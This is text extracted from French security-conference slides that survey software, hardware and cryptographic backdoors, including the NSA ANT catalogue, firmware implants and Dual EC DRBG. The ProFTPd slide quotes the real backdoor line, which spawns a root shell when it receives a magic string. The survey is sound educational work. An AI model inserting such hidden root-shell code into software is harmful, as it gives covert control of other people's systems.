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Contexte & Objectif 

En introduction 

Petit safari (non exhaustif) au pays des portes dérobées 

L’une des graals des portes dérobées, avec l’altération de standards, est l’altération de 

microprocesseurs 

Sujet détaillé par Laurent Bloch en seconde partie 

NON PROTEGE 
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Agenda 

1. Introduction ► 

2. Portes dérobées logicielles 

3. Portes dérobées matérielles 

4. Portes dérobées cryptographiques 

NON PROTEGE 
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Introduction 

> Porte dérobée 

Une fonction cachée visant à contourner les moyens de protections légitimes d’un système 

Comptes cachés / codés en dur 

Netcat en écoute 

Modification d’un code 

cryptographique afin de 

l’affaiblir ou de permettre la 

fuite des clefs 

Ajout d’un implant matériel 

Influence sur des standards 

Exemples 

Etc 

Complexité variable 

Comptes codés en dur 

Altération logiciel simple (un « if ») à de modification 

discrètes (sys_wait4(), qui ressemblait à une erreur 

typographique) 

Altération du BIOS, SMM, firmware de disques durs, 

firmware de cartes réseau, cartes SIM, du RTOS 

baseband d’un téléphone 

Altération du compilateur pour ajouter la porté 

dérobée à la volée (Reflections on Trusting Trust, Ken 

Thompson) 

Influence sur des standards (protocoles, 

mathématiques, etc) 

Implants matériels 

sur des standards (protocoles, mathématiques, etc) 

Symétrie 

Symétriques : 

 

lorsque découverte, un tiers 

peut l’exploiter  

Asymétrique : 

 

même découverte, seul l’auteur 

peut l’exploiter 

NON PROTEGE 
Canaux cachés 
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Comment cibler un produit ? 
> Supposons que l’on soit une entité « puissante » souhaitant mettre en place une porte dérobée 

Logiciel/matériel 

national sous 

influence 

Logiciel/matériel 

closed source 

étranger 

Logiciel opensource 

Influence légale / économique 

Influencer les standards (mathématiques, NIST, etc) 

Attaquer les projets opensource sur lesquels ces logiciels reposent 

Attaque ciblée sur l’éditeur, l’intégrateur, les cabinets d’audit et conseil 

Attaque ciblée (intrusion informatique ou manipulation) 

Sabotage économique 

Cibler le 

« producteur » 

Cibler sur quoi ce 

repose le produit Piéger en avance de phase le matériel (microprocesseur, matériel, etc) 

Porte dérobée (soft, BIOS, PRNG, 

etc) 

Ou tout simplement l’accès direct 

aux informations (ex PRISM) 

Attaquer le processus de distribution (ouvrir le colis et patcher) 

Implémentation 

« maison » 

Exploiter la 

« concurrence » 
Identifier et exploiter la porte dérobée placée par le pays tiers 

Un ensemble restreint de produits à viser, en particulier dans le domaine cryptographique (cf nombre de logiciels 

impactés par HeartBleed) et peu audités (cf Truecrypt & OpenSSL) 

Désinformation et/ou attaque sur le projet opensource + recherche de bugs 

Rarement  correctement conçues et implémentées  ; attaque ciblée 

Identifier les failles et les portes dérobées de l’éditeur 

NON PROTEGE 
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Illustration 

> BULLRUN (NSA) / EDGEHILL (GCHQ) 

http://arstechnica.com/security/2013/12/report-nsa-paid-rsa-to-make-flawed-crypto-algorithm-the-default/ 

http://www.nytimes.com/interactive/2013/09/05/us/documents-reveal-nsa-campaign-against-encryption.html 

SRC : NSA 

NON PROTEGE 



7 

Illustration 

> Ouvrir le colis, patcher et reposter 

SRC 
http://hbpub.vo.llnwd.net/o16/

video/olmk/holt/greenwald/No

PlaceToHide-Documents-

Compressed.pdf 

NON PROTEGE 
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Agenda 

1. Introduction 

2. Portes dérobées logicielles ► 

3. Portes dérobées matérielles 

4. Portes dérobées cryptographiques 

NON PROTEGE 
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Porte dérobée logicielle  

> Comptes / clefs hardcodées 

 Maladresse du constructeur ou porte dérobée volontaire ? 
 

 F5 (clef SSH), HP StoreVirtual Storage 

 Symantec Messaging Gateway (clef SSH + compte backdoor) 

 

 
 

 Barracuda (SSL VPN, Firewall, etc) 

 

 
 

 

 

 

 

 

 ProFTPd 

 Hack en novembre 2010 

 if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); } 

 http://www.aldeid.com/wiki/Exploits/proftpd-1.3.3c-backdoor 

 
SRC :  

https://www.trustmatta.com/advisories/MATTA-2012-002.txt, https://www.nccgroup.com/en/learning-and-research-centre/technical-advisories/symantec-messaging-gateway-ssh-with-backdoor-user-account-plus-privilege-escalation-to-root-due-to-very-old-kernel/, 

http://www.theregister.co.uk/2013/01/24/barracuda_backdoor/ 

 NON PROTEGE 

http://www.aldeid.com/wiki/Exploits/proftpd-1.3.3c-backdoor
http://www.aldeid.com/wiki/Exploits/proftpd-1.3.3c-backdoor
http://www.aldeid.com/wiki/Exploits/proftpd-1.3.3c-backdoor
http://www.aldeid.com/wiki/Exploits/proftpd-1.3.3c-backdoor
http://www.aldeid.com/wiki/Exploits/proftpd-1.3.3c-backdoor
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Porte dérobée logicielle 

> Altération de l’OS (Cisco, Juniper, Huawei, etc) 

SRC NSA (ANT catalogue : http://cryptome.org/2013/12/nsa-catalog.zip) 

NON PROTEGE 
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Porte dérobée logicielle 

> Altération du BIOS (ordinateur) 

NON PROTEGE 
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Porte dérobée logicielle 

> Altération du BIOS (FW ou routeur) 

NON PROTEGE 
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Porte dérobée logicielle 

> Carte SIM 

NON PROTEGE 
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Porte dérobée logicielle 

> Téléphones satellites 

SRC http://www.ioactive.com/pdfs/IOActive_SATCOM_Security_WhitePaper.pdf 

NON PROTEGE 
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Porte dérobée logicielle 

> Firmware du disque dur 

Voir les travaux d’Aurélien Francillon & al: Implementation 

and Implications of a Stealth Hard-Drive Backdoor 

http://www.ossir.org/jssi/jssi2014/hdd_jssi_v4.pdf 

NON PROTEGE 
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Agenda 

1. Introduction 

2. Portes dérobées logicielles 

3. Portes dérobées matérielles ► 

4. Portes dérobées cryptographiques 

NON PROTEGE 
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Portes dérobées matérielles 

> Implant sur serveur 

NON PROTEGE 
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Portes dérobées matérielles 

> Implant USB / Ethernet 

NON PROTEGE 
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Portes dérobées matérielles 

> Tempest style 

NON PROTEGE 
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Portes dérobées matérielles 

> Nettoyage de traces ? 

 Le GCHQ a-t-il cherché a effacer les traces d’une backdoor au 

niveau de certains microcontrôleurs  sur les ordinateurs des 

journalistes du Guardian ? 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Sources : 

https://www.privacyinternational.org/blog/what-does-gchq-know-about-our-devices-that-we-dont 

http://cryptome.org/2014/05/gchq-destroys-implants.htm 

 

NON PROTEGE 

https://www.privacyinternational.org/blog/what-does-gchq-know-about-our-devices-that-we-dont
https://www.privacyinternational.org/blog/what-does-gchq-know-about-our-devices-that-we-dont
https://www.privacyinternational.org/blog/what-does-gchq-know-about-our-devices-that-we-dont
https://www.privacyinternational.org/blog/what-does-gchq-know-about-our-devices-that-we-dont
https://www.privacyinternational.org/blog/what-does-gchq-know-about-our-devices-that-we-dont
https://www.privacyinternational.org/blog/what-does-gchq-know-about-our-devices-that-we-dont
https://www.privacyinternational.org/blog/what-does-gchq-know-about-our-devices-that-we-dont
https://www.privacyinternational.org/blog/what-does-gchq-know-about-our-devices-that-we-dont
https://www.privacyinternational.org/blog/what-does-gchq-know-about-our-devices-that-we-dont
https://www.privacyinternational.org/blog/what-does-gchq-know-about-our-devices-that-we-dont
https://www.privacyinternational.org/blog/what-does-gchq-know-about-our-devices-that-we-dont
https://www.privacyinternational.org/blog/what-does-gchq-know-about-our-devices-that-we-dont
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Agenda 

1. Introduction 

2. Portes dérobées logicielles 

3. Portes dérobées matérielles 

4. Portes dérobées cryptographiques ► 

NON PROTEGE 
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Porte dérobée cryptographique 

> QNAP cryptobackdoor 

SRC : http://www.mh-sec.de/downloads/BSC-Qnap_Crypto_Backdoor-CVE-2009-3200.txt 

NON PROTEGE 
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Porte dérobée cryptographique 

> exemple d’attaque sur DSA 

 Réutilisation d’un nonce dans une signature DSA 

Pour  anecdote (même s’il ne s’agit 

pas d’une porté dérobée, l’histoire 

illustre la portée d’une telle erreur) :  

 

“In December 2010, a group calling 

itself fail0verflow announced 

recovery of the ECDSA private key 

used by Sony to sign software for 

the PlayStation 3 game console. 

The attack was made possible 

because Sony failed to generate a 

new random k for each signature” 

 

http://en.wikipedia.org/wiki/Digital_Si

gnature_Algorithm 

Détails sur :  

http://rdist.root.org/2010/11/19/dsa-

requirements-for-random-k-value/ 

 

Pour rappel 

NON PROTEGE 
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Porte dérobée cryptographique 

DUAL EC PRNG & Kleptography 

NON PROTEGE 

DUAL EC 

DRBG 
CSPRNG basé sur le problème du logarithme discret  EC, standardisé par le NIST (SP800-90) 

(particulièrement lent, ~100x, par rapport aux autres CSPRNG du standard)  

2013 : d’après Reuters RSA aurait reçu $10 millions pour l’utiliser par défaut dans Bsafe 

2007 : Shumow et Ferguson, rump@Crypto 07, fortes suspicions de backdoor 

2013 : le New York Times indique que la NSA aurait backdooré le standard dans le cadre du programme 

BULLRUN 

But à partir d’une sortie, déterminer toutes les sorties suivantes à partir d’un seul point de sortie 

(jusqu’au prochain reseed) 

 

 Compliqué sauf si on peut choisir P & Q + obtenir une première sortie 

Or P & Q (en principe censés être aléatoires) spécifiés en annexe à des valeurs fixes sans explication 

 Ex : cas de SSL (sans client side auth ni PFS) : prédire la master key 

 

Un des graals : backdoorer un standard 

De nombreuses implémentations vulnérables (obligatoire pour norme FIPS) 

L’avertissement n’est pas entendu, implémentation dans de nombreux produits 

(Windows, RS ABSAFE, etc) 
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Porte dérobée cryptographique 

DUAL EC PRNG & Kleptography 

NON PROTEGE 

DUAL EC 

DRBG 

Pour les détails mathématiques voir l’explication de Matthew green : 

http://blog.cryptographyengineering.com/2013/09/the-many-flaws-of-dualecdrbg.html 

 

Et le PoC sur https://blog.0xadc0de.be/archives/155 

Pour d’autres attaques très intéressantes, voir les travaux de Young et Yung sur la Kleptography  

 

(en particulier le chapitre 10 sur cryptovirology.com « An Elliptic Curve Asymmetric Backdoor in 

OpenSSL RSA Key Generation ») 

Kleptography 
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Opérations de désinformation ? 

> Cas (hypothétique) des portes dérobées cryptographiques (1/2) 

Exemple 

d’opération de 

désinformation 

Argumentation technique (« Nous ne possédons pas les clefs ») facilement 

compréhensible mais omettant certaines nuances techniques fines 

Distiller discrètement dans la presse des informations « prouvant » l’efficacité de ces 

méthodes (de préférence en indiquant que les forces de l’ordre ont été bloquées), dans 

des médias alternatifs (conseil aux « hacktivistes » ou en indiquant que le 

gouvernement utilise ces mêmes technologies)  

Influencer le marché de sorte à ce que les alternatives soient couteuses (financièrement, 

en terme d’usage ou psychologiquement) et contrôler les concurrents 

NON PROTEGE 
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Opérations de désinformation ? 

> Cas (hypothétique) des portes dérobées cryptographiques (2/2) 

Avril 2013 Été 2013 : PRISM 

Réponse d’Apple 
 

«. We do not provide any  government agency with 

direct access to our  servers, and any government 

agency requesting customer content must get a 

court order. […]For example, conversations which take 

place over  iMessage and FaceTime are protected by end-

to-end  encryption so no one but the sender and 

receiver can see or read them. Apple cannot decrypt 

that data. » 
http://www.apple.com/apples-commitment-to-customer-privacy/ 

 

Quarkslab @HITB (10.2013) 
 Interception techniquement possible (infrastructure 

de clef gérée par Apple & manque de certificate 

pinning) 
http://blog.quarkslab.com/static/resources/2013-10-17_imessage-

privacy/slides/iMessage_privacy.pdf 

NON PROTEGE 
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